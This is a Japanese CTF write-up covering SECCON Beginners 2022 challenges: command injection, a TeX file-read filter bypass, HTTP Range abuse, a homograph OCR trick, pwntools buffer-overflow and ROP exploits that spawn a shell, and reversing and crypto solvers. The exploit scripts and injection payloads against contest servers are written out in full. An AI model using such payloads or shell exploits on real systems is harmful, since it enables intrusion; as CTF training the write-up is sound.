Writer:b1uef0x / Webページ建造途中
昨年度まではチームで参加していたが、チームだとreversingやpwnableをやってなかったということで個人参戦した。
16問解いて最終47位。WebとCryptoで気づかなかった問題がいくつかあってとても惜しかったが、20時間稼働したのでよしとする。
ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
- https://util.quals.beginners.seccon.jp
- util.tar.gz 3828bf8512e6d00316da5e290ac882e470dc9d7d
指定したIPアドレスに対してpingを打つことができる。
いかにもOSコマンドが実行されている返答が来ているのでmain.goを見る。
package main
import (
"os/exec"
"github.com/gin-gonic/gin"
)
type IP struct {
Address string `json:"address"`
}
func main() {
r := gin.Default()
r.LoadHTMLGlob("pages/*")
r.GET("/", func(c *gin.Context) {
c.HTML(200, "index.html", nil)
})
r.POST("/util/ping", func(c *gin.Context) {
var param IP
if err := c.Bind(¶m); err != nil {
c.JSON(400, gin.H{"message": "Invalid parameter"})
return
}
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
c.JSON(200, gin.H{
"result": string(result),
})
})
if err := r.Run(); err != nil {
panic(err)
}
}
param.Addressに複数のコマンドを入れればOSコマンドインジェクションができる。クライアント側でIPアドレス以外はInvalid IP addressと返されるが何も問題はない。
やり方はいろいろあるがBurp Suiteを使って送信される次のJSONデータを改ざんしてサーバーに渡した。
{"address":"127.0.0.1"}
以下のものに改ざんする。
{"address":"127.0.0.1;ls /"}
lsの実行結果が返ってきてflagファイルがわかるのでcatする。
{"address":"127.0.0.1;cat /flag_A74FIBkN9sELAjOc.txt"}
ctf4b{al1_0vers_4re_i1l}
texをpdfにするサービスを作りました。
texで攻撃することはできますか?
- https://textex.quals.beginners.seccon.jp
- textex.tar.gz bce1cb085725d7fa6367bd439b7b3505b3d396a5
TeXを入力するとpdflatexを使ってPDFに変換してくれる。
配布されるサーバー側の構成ファイルを見るとサーバーのカレントディレクトリにflagファイルが設置されていた。ただしapp.pyを見るとflagの文字列は排除される。
def tex2pdf(tex_code) -> str:
# Generate random file name.
filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
# Create a working directory.
os.makedirs(f"tex_box/{filename}", exist_ok=True)
# .tex -> .pdf
try:
# No flag !!!!
if "flag" in tex_code.lower():
tex_code = ""
# Write tex code to file.
with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
f.write(tex_code)
# Create pdf from tex.
subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
except:
pass
if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
# OMG error ;(
shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
return f"{filename}"
TeXには外部texファイルを読み込む機能として標準の\input
があるが、試しにやったところflagファイルには構文エラーを起こす文字列が含まれていたようで上手くいかなかった。
よってやることは二つ、flag文字列を適当にエスケープして検出されないようにすることと、flagファイルの中身を文字列して読み込むことだ。
次のTeXでflagを文字列として読み込んだ。\verbatiminput
で文字列のまま読み込み、flagを\newcommand
で組み立てて検出を回避している。
\newcommand{\fl}[1]{fl#1}
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{\fl{ag}}
\end{document}
flag入りのPDFが生成される。
ctf4b{15_73x_pr0n0unc3d_ch0u?}
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?
仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?
- https://gallery.quals.beginners.seccon.jp
- gallery.tar.gz 3548599a015a8dcd474df7f3f82b98c21121202b
サーバー側のフォルダ内のファイルについて、拡張子を指定して列挙してくれる。
配布されるhandlers.goなどを読むとflagを含む文字列の指定はできないが、flとかは大丈夫なのでリクエストするとflagファイルが見える。
しかしflagのpdfをダウンロードすることはできない。理由はmain.go内で以下のようにファイルの送信容量に上限を作っているためだ。
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
しかしHTTPリクエストのRangeを使うとファイルの任意の範囲をダウンロードすることができるので、次のように分割ダウンロード可能。
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -o dl01 -H "Range: bytes=0-10000"
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -o dl02 -H "Range: bytes=10001-20000"
ダウンロードしたdl01とdl02ファイルを結合してflagファイルを手に入れることができる。結合はwindowsならcopy /b dl01 + dl02 dl.pdf
等で。
ctf4b{r4nge_reque5t_1s_u5efu1!}
ホモグラフ攻撃を体験してみましょう。
心配しないで!相手は人間ではありません。
- nc phisher.quals.beginners.seccon.jp 44322
- phisher.tar.gz 551f8b797166f4fff83b3467462b554a30daef39
サーバーに接続するとFQDNの入力を求められる。phisher.pyを読むと入力文字を画像に変換してOCRで読み取っている。
fqdn = "www.example.com"
# Can you deceive the OCR?
# Give me "www.example.com" without using "www.example.com" !!!
def phishing() -> None:
input_fqdn = input("FQDN: ")[:15]
ocr_fqdn = ocr(text2png(input_fqdn))
if ocr_fqdn == fqdn: # [OCR] OK !!!
for c in input_fqdn:
if c in fqdn:
global flag
flag = f"\"{c}\" is included in \"www.example.com\" ;("
break
print(flag)
else: # [OCR] NG
print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")
OCRで読み取った文字列がwww.example.com
と一致しており、入力文字列がwww.example.com
と完全に異なるものになっている必要がある。説明通り、URLを誤認させるホモグラフ攻撃の問題である。
Unicodeの一覧表などを使って、同じような形をしたアルファベットで偽のFQDNを作った。
ẉẉẉ․ехаṃṗ|е․соṃ
ctf4b{n16h7_ph15h1n6_15_600d}
バージョン2です。
- h2.tar.gz 5880295ecec74f5ee5f2d56b0e22eee7d9940e66
大量のパケットが入ったpcapファイルと通信に使われたと思われるmain.goファイルが配布される。maing.goファイルを読む。
package main
import (
"net/http"
"log"
"fmt"
"golang.org/x/net/http2"
"golang.org/x/net/http2/h2c"
)
const SECRET_PATH = "<secret>"
func main() {
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == SECRET_PATH {
w.Header().Set("x-flag", "<secret>")
}
w.WriteHeader(200)
fmt.Fprintf(w, "Can you find the flag?\n")
})
h2s := &http2.Server{}
h1s := &http.Server{
Addr: ":8080",
Handler: h2c.NewHandler(handler, h2s),
}
log.Fatal(h1s.ListenAndServe())
}
HTTPヘッダにx-flagを追加してsecretなデータを入れているので、Wiresharkなどでpcapファイルを開いてx-flagを検索するだけ。
ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
helpを呼び出したら、ページャーとして猫が来ました。
- nc hitchhike4b.quals.beginners.seccon.jp 55433
SECCON CTF 2021で出題されたhitchhikeの派生問題。hitchhikeではPythonのhelp()
を使って適当に長い説明文を開くとページャーが動いて処理が止まったところで!printenv
などとやればコマンドを実行できた。
しかし今回は対策されているようだ。
今回はページャーがcatになっているため停止してコマンドを受け付けてくれない。Pythonのソースが表示されており、flagは二段階に分割されているようだ。
表示されるソースがヒントになっており、今回は色々試して、Helpから__main__モジュールを表示させるとflagの前半を入手できる。
表示ソースの後半はPythonではあまり見ない表記だが、__name != "__main__"
とはスクリプトが他のスクリプトからモジュールとして読み込まれた際にTrueになるものだ。
Helpからモジュール一覧を表示させる。
真ん中あたりにあるapp_35f13...はこのスクリプト自身である。そこでこのモジュールを表示させてみる。
すると最初の画面が再び起動した。同じ画面のようだが、この状態では読み込まれたスクリプトはモジュールとして読み込まれており、flagの後半の条件を満たすはずだ。
再びモジュール名を表示させると、flagの後半が手に入った。解きながら考えた雑な理解なのでもし間違っていたらもうしわけない。
ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}
Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.
- nc beginnersbof.quals.beginners.seccon.jp 9000
- BeginnersBof.tar.gz 30b2f7613172b9f192a4ee49dd304772fa1e1026
基本BOF問題。配布されるsrc.cを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#define BUFSIZE 0x10
void win() {
char buf[0x100];
int fd = open("flag.txt", O_RDONLY);
if (fd == -1)
err(1, "Flag file not found...\n");
write(1, buf, read(fd, buf, sizeof(buf)));
close(fd);
}
int main() {
int len = 0;
char buf[BUFSIZE] = {0};
puts("How long is your name?");
scanf("%d", &len);
char c = getc(stdin);
if (c != '\n')
ungetc(c, stdin);
puts("What's your name?");
fgets(buf, len, stdin);
printf("Hello %s", buf);
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
名前の文字数を入力したあとに名前を入力する。最初に入力した文字数より入らないようなので、bufが溢れるような文字数を入力すればよい。
gdbで実行ファイルを起動して適当に長い文字列を入れてret時点でstackの頭が入力文字になって、戻りアドレスが書き換わる位置を探す。
今回はwin関数がflagを表示させてくれるため、見つかった入力文字の最後をwin関数のアドレスとして、関数の戻りアドレスを書き換えるPythonコードを書いた。
from pwn import *
isOnline = 1
if isOnline==1:
io = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
else:
io = process("./chall")
io.recvuntil("How long is your name?")
io.sendline(b"49")
io.recvuntil("What's your name?")
io.send(b"a"*40+(0x4011e6).to_bytes(8, "little"))
io.interactive()
win関数のアドレス0x4011e6は逆アセンブラやobjdump -M intel -d chall > disass.txt
などで逆アセンブルすることで入手できる。
ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
- nc raindrop.quals.beginners.seccon.jp 9001
- raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46
シンプルなROP問題。逆にROPGadgetを使えるほどの規模ではないので脳死で解くことはできない。
接続するとstackが表示されており、saved ret addrまで書き換えればいいこともわかるので親切である。
実行ファイルを逆アセンブルすると、ソースのhelp関数でcatする際にsystemが呼ばれており利用できそうだ。
00000000004011d6 <help>:
4011d6: f3 0f 1e fa endbr64
4011da: 55 push rbp
4011db: 48 89 e5 mov rbp,rsp
4011de: 48 8d 3d 23 0e 00 00 lea rdi,[rip+0xe23] # 402008 <_IO_stdin_used+0x8>
4011e5: e8 b6 fe ff ff call 4010a0 <system@plt>
4011ea: 90 nop
4011eb: 5d pop rbp
4011ec: c3 ret
systemで/bin/shを起動したいが、/bin/shはないのでこれは入力文字列として用意する。そのうえで以下のようにstackを積むことを考える。
"/bin/sh" <= buf
(適当なパディング)
pop rdi retのアドレス <= saved ret addr
"/bin/sh"のアドレス
systemのアドレス
これでpop rdiでひとつ下の"/bin/sh"のアドレスがRDIレジスタに読み込まれ、続いてsystemのアドレスが実行されてsystem("/bin/sh")が起動する。
"/bin/sh"のアドレス、つまり入力文字列を格納するstack領域は変化するが、幸いにしてsaved rbpのアドレスとしてstack領域の相対座標を与えてくれるので、ここからbufのアドレスを計算できる。
from pwn import *
addr_pop_rdi = p64(0x401453)
addr_system = p64(0x4011e5)
data_shell = b"/bin/sh\0"
#addr_data = p64(0x7fffffffde90) 'ローカルのbufアドレスの観測結果
sub = 0x7fffffffde90-0x7fffffffdeb0
isOnline = 1
if isOnline==1:
io = remote("raindrop.quals.beginners.seccon.jp", 9001)
else:
io = process("./chall")
io.recvuntil("========+==================")
rbp = int(io.recvuntil("Did you understand?").decode().splitlines()[3][10:28],16)
print(hex(rbp))
addr_data = p64(rbp+sub)
rop = b""
rop += data_shell
rop += b"a"*8 + b"b"*8
rop += addr_pop_rdi
rop += addr_data
rop += addr_system
io.sendline(rop)
io.interactive()
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
クイズに答えよう!
- quiz.tar.gz a7f225b59176baa3d888c6fc7452f8df9a58e204
クイズには答えなかった。
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
TLSってなんだぁ?
- wintls.tar.gz 4607f34efbcbc99137e684c00d7e4cb4425ec358
TLSについての解説は他の参照して欲しい。Ghidraで調べたところTLSのsetとgetをしていることはわかったが、特に活用しなかった。
入力を受け付けてflagと一致不一致を判定してくれるアプリケーションで、x64dbgで実行ファイルにアタッチして出現する文字列を見ていると、次の2つが見つかった。
c4{fAPu8#FHh2+0cyo8$SWJH3a8X
tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}
flagを並び替えたように見える。入力文字列を同じ法則で並び替えていると考えて、次の全文字が異なる入力文字列を与えてみる。
#$%&@{1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq}
するとメモリ上には次の文字列が見つかった。
#&{14570CEFIJLORTUXYadgijmnp$%@23689ABDGHKMNPQSVWZbcefhkloq}
これでどの文字同士が入れ替わったどうかがわかるので、同じ規則でflagらしき文字列を並び替えれば復元できるはずだ。
solverをJavascriptで書いた。
<script>
encflag = "c4{fAPu8#FHh2+0cyo8$SWJH3a8Xtfb%s$T9NvFyroLh@89a9yoC3rPy&3b}";
before = "#$%&@{1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq}";
after = "#&{14570CEFIJLORTUXYadgijmnp$%@23689ABDGHKMNPQSVWZbcefhkloq}";
flag = [];
for(i=0; i<encflag.length; i++)flag[i] = "*";
for(i=0; i<after.length; i++) {
index = before.indexOf(after.charAt(i));
flag[index] = encflag.charAt(i);
}
document.writeln(flag.join(""));
</script>
flagが復元される。
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}
このファイルは中でどんな処理をしているんだろう? バイナリ解析ツールで調べてみようかな
- recursive.tar.gz 0b40c31c8f9712f8400eb21e88ed26929e84acd7
flagを判定するプログラムだ。Ghidraで解析してみよう。
undefined8 main(void)
{
size_t sVar1;
undefined8 uVar2;
long in_FS_OFFSET;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
show_description();
printf("FLAG: ");
__isoc99_scanf("%39s%*[^\n]",local_58);
sVar1 = strlen(local_58);
if (sVar1 == 0x26) {
uVar2 = check(local_58,0);
if ((int)uVar2 == 1) {
puts("Incorrect.");
uVar2 = 1;
}
else {
puts("Correct!");
uVar2 = 0;
}
}
else {
puts("Incorrect.");
uVar2 = 1;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
main関数を読むと、読み込んだ文字列をcheck関数に渡している。
undefined8 check(char *param_1,uint param_2)
{
int iVar1;
int iVar2;
size_t sVar3;
char *__dest;
undefined8 uVar4;
sVar3 = strlen(param_1);
iVar1 = (int)sVar3;
if (iVar1 == 1) {
if (table[(int)param_2] != *param_1) {
return 1;
}
}
else {
iVar2 = iVar1 / 2;
__dest = (char *)malloc((long)iVar2);
strncpy(__dest,param_1,(long)iVar2);
uVar4 = check(__dest,param_2);
if ((int)uVar4 == 1) {
return 1;
}
__dest = (char *)malloc((long)(iVar1 - iVar2));
strncpy(__dest,param_1 + iVar2,(long)(iVar1 - iVar2));
uVar4 = check(__dest,iVar2 * iVar2 + param_2);
if ((int)uVar4 == 1) {
return 1;
}
}
return 0;
}
check関数では入力文字列を分割しながら再帰的にマッチングをしているようだ。このflagの文字列と比較している部分はtable[(int)param_2] != *param_1
の部分。
tableのアドレスを調べる。
先頭からバイト列が63 74と続いており、flagがバラバラに格納されているようだ。この部分を取り出して、check関数をスクリプトに書き起こして動作させてみればflagが出てくるはずだ。
というわけでまたJavascriptを書いた。
<pre><script>
table = "63 74 60 2A 66 34 28 2B 62 63 39 35 22 2E 38 31 62 7B 68 6D 72 33 63 2F 7D 72 40 3A 7B 26 3B 35 31 34 6F 64 2A 3C 68 2C 6E 27 64 6D 78 77 3F 6C 65 67 28 79 6F 29 6E 65 2B 6A 2D 7B 28 60 71 2F 72 72 33 7C 28 24 30 2B 35 73 2E 7A 7B 5F 6E 63 61 75 72 24 7B 73 31 76 35 25 21 70 29 68 21 71 27 74 3C 3D 6C 40 5F 38 68 39 33 5F 77 6F 63 34 6C 64 25 3E 3F 63 62 61 3C 64 61 67 78 7C 6C 3C 62 2F 79 2C 79 60 6B 2D 37 7B 3D 3B 7B 26 38 2C 38 75 35 24 6B 6B 63 7D 40 37 71 40 3C 74 6D 30 33 3A 26 2C 66 31 76 79 62 27 38 25 64 79 6C 32 28 67 3F 37 31 37 71 23 75 3E 66 77 28 29 76 6F 6F 24 36 67 29 3A 29 5F 63 5F 2B 38 76 2E 67 62 6D 28 25 24 77 28 3C 68 3A 31 21 63 27 72 75 76 7D 40 33 60 79 61 21 72 35 26 3B 35 7A 5F 6F 67 6D 30 61 39 63 32 33 73 6D 77 2D 2E 69 23 7C 77 7B 38 6B 65 70 66 76 77 3A 33 7C 33 66 35 3C 65 40 3A 7D 2A 2C 71 3E 73 67 21 62 64 6B 72 30 78 37 40 3E 68 2F 35 2A 68 69 3C 37 34 39 27 7C 7B 29 73 6A 31 3B 30 2C 24 69 67 26 76 29 3D 74 30 66 6E 6B 7C 30 33 6A 22 7D 37 72 7B 7D 74 69 7D 3F 5F 3C 73 77 78 6A 75 31 6B 21 6C 26 64 62 21 6A 3A 7D 21 7A 7D 36 2A 60 31 5F 7B 66 31 73 40 33 64 2C 76 69 6F 34 35 3C 5F 34 76 63 5F 76 33 3E 68 75 33 3E 2B 62 79 76 71 23 23 40 66 2B 29 6C 63 39 31 77 2B 39 69 37 23 76 3C 72 3B 72 72 24 75 40 28 61 74 3E 76 6E 3A 37 62 60 6A 73 6D 67 36 6D 79 7B 2B 39 6D 5F 2D 72 79 70 70 5F 75 35 6E 2A 36 2E 7D 66 38 70 70 67 3C 6D 2D 26 71 71 35 6B 33 66 3F 3D 75 31 7D 6D 5F 3F 6E 39 3C 7C 65 74 2A 2D 2F 25 66 67 68 2E 31 6D 28 40 5F 33 76 66 34 69 28 6E 29 73 32 6A 76 67 30 6D 34".split(" ");
function check(param_1,param_2){
console.log(param_1,param_2);
let iVar1;
let iVar2;
let sVar3;
let __dest;
let uVar4;
sVar3 = param_1.length;
iVar1 = sVar3;
if(iVar1 == 1) {
flag[ref.indexOf(param_1)] = String.fromCharCode(parseInt(table[param_2], 16));
//if(table[param_2] != param_1)return 1;
}else {
iVar2 = Math.floor(iVar1 / 2);
__dest = param_1.substr(0,iVar2);
uVar4 = check(__dest,param_2);
if(uVar4 == 1)return 1;
__dest = param_1.substr(iVar2,iVar1-iVar2);
uVar4 = check(__dest,iVar2 * iVar2 + param_2);
if(uVar4 == 1)return 1;
}
return 0;
}
var ref = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZab"
var dummy = ref;
flag = [];
for(i=0; i<dummy.length; i++)flag[i] = "*";
res = check(dummy,0);
document.writeln(flag.join(""));
</script></pre>
入力文字列の位置と比較されるflag文字列の位置を対応付けるために、全文字が異なる入力文字列を与えてtable内の該当するバイト列を取り出している。check関数がreturn 1を返すと途中で止まってしまうので該当部分を削除している。
ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
なんか怪しいファイルと通信記録を捉えました! あれ? ここにあった超重要機密ファイルの名前が変わっているぞ...?
※ 問題のテーマからするとファイルを削除する機能があるはずですが、デバッグのしやすさのためにファイルを削除する機能は外してあります
- ransom.tar.gz ae271e979e3b621a555add56dab9166ef2637c48
特定のファイルを削除するランサムモドキとランサムモドキが通信したpcapファイル、そして暗号化後のファイルが与えられる。
Ghidraで読むと大雑把に上から、暗号鍵をランダムに生成→「ctf4b_super_secret.txt」を読み込む→「ctf4b_super_secret.tx」の中身を暗号化→「ctf4b_super_secret.txt.lock」に書き込み→暗号鍵を送信、となっているようだ。
pcapファイルは僅かなパケットしかないのでTCPペイロードのあるものを見ると暗号鍵が見つかる。
暗号鍵は「rgUAvvyfyApNPEYg」であろう。
Ghidraで暗号化部分の逆コンパイル結果を見る。
undefined8 FUN_0010157f(char *param_1,char *param_2,long param_3)
{
long in_FS_OFFSET;
undefined local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
FUN_00101381(param_1,(long)local_118);
FUN_0010145e((long)local_118,param_2,param_3);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
gdbでアタッチして実際に入力文字列がどこに突っ込まれるかも確認しながら見たが、処理としてはFUN_00101381で16文字の暗号鍵から256文字のバイト列を作り、FUN_0010145eでファイルの中身を256文字のバイト列を使って暗号化している。
undefined8 FUN_00101381(char *param_1,long param_2)
{
int iVar1;
uint uVar2;
size_t sVar3;
int local_18;
int local_14;
int local_10;
sVar3 = strlen(param_1);
local_18 = 0;
local_14 = 0;
while (local_14 < 0x100) {
*(undefined *)(param_2 + local_14) = (char)local_14;
local_14 = local_14 + 1;
}
local_10 = 0;
while (local_10 < 0x100) {
iVar1 = (uint)*(byte *)(param_2 + local_10) + local_18 + (int)param_1[local_10 % (int)sVar3];
uVar2 = (uint)(iVar1 >> 0x1f) >> 0x18;
local_18 = (iVar1 + uVar2 & 0xff) - uVar2;
FUN_00101349((undefined *)(param_2 + local_10),(undefined *)(local_18 + param_2));
local_10 = local_10 + 1;
}
return 0;
}
まず暗号鍵から暗号化に使うバイト列を生成する関数。具体的には0~255までの数字を入れた256個の配列を並び替える処理をしている。出力はシャッフルされた0~255までの数字の入った配列となる。
undefined8 FUN_0010145e(long param_1,char *param_2,long param_3)
{
size_t sVar1;
uint local_24;
uint local_20;
ulong local_18;
local_24 = 0;
local_20 = 0;
local_18 = 0;
sVar1 = strlen(param_2);
while (local_18 < sVar1) {
local_24 = local_24 + 1 & 0xff;
local_20 = *(byte *)(param_1 + (int)local_24) + local_20 & 0xff;
FUN_00101349((undefined *)(param_1 + (int)local_24),(undefined *)((int)local_20 + param_1));
*(byte *)(local_18 + param_3) =
param_2[local_18] ^
*(byte *)(param_1 +
(ulong)(byte)(*(char *)(param_1 + (int)local_20) +
*(char *)(param_1 + (int)local_24)));
local_18 = local_18 + 1;
}
return 0;
}
暗号化本体関数はファイルのデータを先頭から順番にXOR演算していることがわかる。つまり先頭から文字列を特定していっても全体に影響を与えないため、ブルートフォース攻撃が可能だ。
暗号化後のflagが与えられているので、FUN_00101381とFUN_0010145eを書き下して先頭から1文字ずつ総当たりで暗号化を試してflagを求めるスクリプトを書いた。
またしてもJavascriptを書いた。
<script>
function makekey(param_1,param_2){
let iVar1;
let uVar2;
let sVar3;
let local_18;
let local_14;
let local_10;
sVar3 = param_1.length;
local_18 = 0;
local_14 = 0;
while (local_14 < 0x100) {
param_2[local_14] = local_14;
local_14 = local_14 + 1;
}
local_10 = 0;
while (local_10 < 0x100) {
iVar1 = param_2[local_10] + local_18 + param_1[local_10 % sVar3];
uVar2 = (iVar1 >> 0x1f) >> 0x18;
local_18 = (iVar1 + uVar2 & 0xff) - uVar2;
tmp = param_2[local_10];
param_2[local_10] = param_2[local_18];
param_2[local_18] = tmp;
local_10 = local_10 + 1;
}
return 0;
}
__keystr = "rgUAvvyfyApNPEYg";
p1 = [];
for(i=0; i<__keystr.length; i++)p1[i] = __keystr.charCodeAt(i);
__keys = [];
makekey(p1,__keys);
function enc(keys,param_2,param_3){
let sVar1;
let local_24;
let local_20;
let local_18;
local_24 = 0;
local_20 = 0;
local_18 = 0;
sVar1 = param_2.length;
while (local_18 < sVar1) {
local_24 = local_24 + 1 & 0xff;
local_20 = keys[local_24] + local_20 & 0xff;
tmp = keys[local_24];
keys[local_24] = keys[local_20];
keys[local_20] = tmp;
param_3[local_18] = param_2[local_18] ^ keys[(keys[local_20] + keys[local_24]) & 0xff];
local_18 = local_18 + 1;
}
return 0;
}
encflag = [0x2b,0xa9,0xf3,0x6f,0xa2,0x2e,0xcd,0xf3,0x78,0xcc,0xb7,0xa0,0xde,0x6d,0xb1,0xd4,0x24,0x3c,0x8a,0x89,0xa3,0xce,0xab,0x30,0x7f,0xc2,0xb9,0x0c,0xb9,0xf4,0xe7,0xda,0x25,0xcd,0xfc,0x4e,0xc7,0x9e,0x7e,0x43,0x2b,0x3b,0xdc,0x09,0x80,0x96,0x95,0xf6,0x76,0x10];
//flag = "ctf4b{*******************************************}";
flag = "ctf4b{";
flagary = [];
for(i=0; i<flag.length; i++)flagary[i] = flag.charCodeAt(i);
tmpkey = []
for(i=6; i<encflag.length; i++) {
for(j=0x20; j<0x7f; j++) {
flagary[i] = j;
encary = [];
tmpkey = []
for(k=0; k<__keys.length; k++)tmpkey[k] = __keys[k];
f = enc(tmpkey,flagary,encary);
if(encflag[i]==encary[i]) {
break;
}
}
}
for(i=0; i<flagary.length; i++)flagary[i] = String.fromCharCode(flagary[i])
document.writeln(flagary.join(""));
</script>
※解いているときは気づいていなかったが、これはRC4であったようだ。言われれば確かに。
ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}
きつねさんが食べ物を探しているみたいです。
- coughingfox.tar.gz c2cdda5cb20d25e40be57a72a949591b7172d143
Cryptoのウォームアップ問題にきつね問題を置くのは流行りなのだろうか。
次のproblem.pyと出力されたデータが与えられる。
from random import shuffle
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
cipher = []
for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)
shuffle(cipher)
print("cipher =", cipher)
最後にshuffleされて順番がバラバラになっているが、暗号化されたflagデータのi番目についてiで引いた値が平方数になっているかどうかでi番目であることを特定できる。solverを書いた。
import math
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
length = len(cipher)
flag = []
for i in range(length):
flag += [""]
for c in cipher:
for i in range(length):
tmp = math.sqrt(c-i)
if tmp%1 == 0:
flag[i] = chr(int(tmp-i))
break
print("flag =", "".join(flag))
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
Primeパーティへようこそ!!!
- nc primeparty.quals.beginners.seccon.jp 1336
- primeparty.tar.gz a7e6a3509109e47f2600a38cf81cd79559fd5eb7
RSA問題。serve.pyを確認する。
from Crypto.Util.number import *
from secret import flag
from functools import reduce
from operator import mul
bits = 256
flag = bytes_to_long(flag.encode())
assert flag.bit_length() == 455
GUESTS = []
def invite(p):
global GUESTS
if isPrime(p):
print("[*] We have been waiting for you!!! This way, please.")
GUESTS.append(p)
else:
print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.")
print("-*-*-*-*-*-*-*-*-*-*-*-*-")
invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))
for i in range(3):
print("[*] Do you want to invite more guests?")
num = int(input(" > "))
invite(num)
n = reduce(mul, GUESTS)
e = 65537
cipher = pow(flag, e, n)
print("n =", n)
print("e =", e)
print("cipher =", cipher)
256bitの素数を4つ作ったあと、自由に3回数字を入力して素数だったもののみを加えて、ここまでのすべての素数を乗算して公開鍵にしているRSA暗号だ。
CTF crypto 逆引き( https://furutsuki.hatenablog.com/entry/2021/03/16/095021 )を調べてみると、これは「nがある素数と別の合成数までは素因数分解できる」場合のようだ。
該当する記述を引用する。というかこのwriteupを書いている時点で本CTFが出題例に増えている。
条件に従えば、必要な素数pは256bit×4よりも小さく、flagの455bitよりも大きなbit数になる。今回は768bitとして暗号を生成してみた。入力は3回できるが残り2回は適当に1とか入れれば無視される。
次がsolverとなる。使える拡張Euclid関数をコメント中のところからいただいた。
from Crypto.Util.number import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
def modinv(a, b):
p = b
x, y, u, v = 1, 0, 0, 1
while b:
k = a // b
x -= k * u
y -= k * v
x, u = u, x
y, v = v, y
a, b = b, a % b
x %= p
if x < 0:
x += p
return x
# https://qiita.com/akebono-san/items/f00c0db99342a8d68e5d
c = 3331086713859460257759186019637842404963439040649247014047452122410427871016298713797362052045231336278357599247850921038293574392561080247289906914259923616117910814547086860264553038123511164280617524172938738741639764547251094505354382928153911362744235567434123695463970393633485753399432277817756934964597000665941841315820224808823418016814860689489767042514392312864616974671014259254852715539532185827022475428227346651383430707908212551898776210820726068224744761717071841740227301417399225692378942420806780187154972707007745672
e = 65537
n = 21287500875894958432115969170459291349814279238030138105986481218072932530682208629713371864004329386694284946687047396185029078830695514787994745107872442896196227531794722503767227569092937765967526471144082692944637007831646425257111724098965207742700581325746222408246932158447275795681420980644478965546793082781095176142248440065306245615708208693403462093671696496669368906800277337745016110731712834868016668425847350596030178043350759240516084195478048485468335231788093925890953505056866653067819074190191036132767534284456298793
prime = 1195800041490568535300880824343570183527867278017329150358325419126223486387982873859745628728122591520539130997336529775572416903077005912463405234506249153748685254427707027691629184547353528779711691239381554869632069192555505059
d = modinv(e,prime-1)
_c = c % prime
print(long_to_bytes(pow(_c, d, prime)))
ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}
安全なコマンドだけが使えます
- nc command.quals.beginners.seccon.jp 5555
- command.tar.gz 22409befa8e1c0451018ae063155a874a76480bc
結論から言えば初期ベクトルIVを使ったCBCビットフリップ攻撃の問題である。
